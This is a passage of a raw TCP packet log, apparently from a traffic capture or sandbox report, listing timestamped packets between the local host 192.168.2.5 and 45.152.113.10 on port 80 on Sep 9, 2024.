Sep 9, 2024 18:45:05.704063892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704076052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704087973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704094887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704111099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704113960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704125881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704147100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704178095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704195976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704211950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704216003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704226971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704227924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704246044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704251051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704262018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704263926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704281092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704283953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704299927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704317093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704349041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704365969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.704389095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.704400063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.748863935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.755058050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.886991978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887012959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887037992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887096882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887111902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887114048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887129068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887131929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887150049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887151003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887168884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887171984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887187958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887197971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887217045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887228012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887239933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887314081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887331009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887352943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887362003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887435913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887453079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887469053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887476921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887487888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887490034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887510061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887528896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887597084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887614012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887629986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887645960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887655973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887664080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887665033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887682915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887686968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887696981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887701035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887717962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887736082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.887737036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887756109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887768030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.887993097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888010025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888026953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888031960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888045073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888053894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888060093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888062954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888079882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888081074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888098001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888098955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888117075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888123989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888142109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888153076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888154030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888171911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888189077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888190985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888206959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888207912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888225079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888226032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888242960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888243914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888262033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888262987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888281107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888282061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888295889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888314962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888374090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888391018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888407946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888411999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888425112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888426065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888442993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888463020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888525963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888542891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888559103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888562918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888576984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888586998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888593912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888612032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888700962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888717890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888735056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888751030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888756990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888767958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888771057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888787031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888791084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888803005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888804913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888820887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888823032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888839960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.888840914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888859034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.888876915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889118910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889136076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889152050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889168978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889177084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889183044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889187098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889209032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889223099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889240026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889256954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889261961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889272928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889275074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889292002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889292002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889311075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889312029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889328957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889328957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889348984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889348984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889365911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889365911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889384985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889385939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889404058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889405966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889420033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889440060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889456987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889475107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889497995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889511108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889516115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889528990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889545918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889549017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889561892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889564037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889581919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889583111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889602900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889620066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889830112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889847040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889862061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889868975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889882088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889887094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889897108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889899015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889915943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889918089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889935017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889934063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.889950991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889972925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.889982939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890000105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890014887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890021086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890032053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890033960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890052080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890070915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890152931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890170097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890187025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890191078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890203953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890204906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890222073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890222073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890240908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890243053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890259981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890266895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890278101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890295982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890300035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890312910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890330076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890331984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890348911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890350103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890366077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890367031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890383959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890384912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890397072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890403032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890422106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890439987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890564919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890582085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890598059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890600920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890618086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890618086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890635014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890635967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890654087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890654087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890671968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.890672922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890691042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.890708923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.979579926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979597092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979613066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979682922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979697943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979713917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979715109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.979749918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.979768038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979782104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979809046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.979821920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.979847908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979934931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979950905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.979976892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.979993105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.980009079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.980024099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.980040073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.980055094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.980065107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.980071068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.980082989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.980097055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.980113983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981156111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981172085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981188059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981206894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981220007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981287956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981303930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981328011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981348038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981353045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981367111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981369972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981386900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981424093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981426954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981426954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981426954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981437922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981452942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981466055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981471062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981482029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981491089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981492996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981513977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981524944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981533051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981542110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981585026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981605053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981621027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981646061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981662989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981684923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981698990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981714964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981730938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981739998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981756926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981765985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981823921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981838942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981853962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981863976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981869936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981878996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981885910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981892109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981903076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981909990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981925011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981941938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.981976986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.981992960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982026100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982037067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982078075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982095003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982095003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.982111931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.982117891 CEST	49707	80	192.168.2.5	45.152.113.10
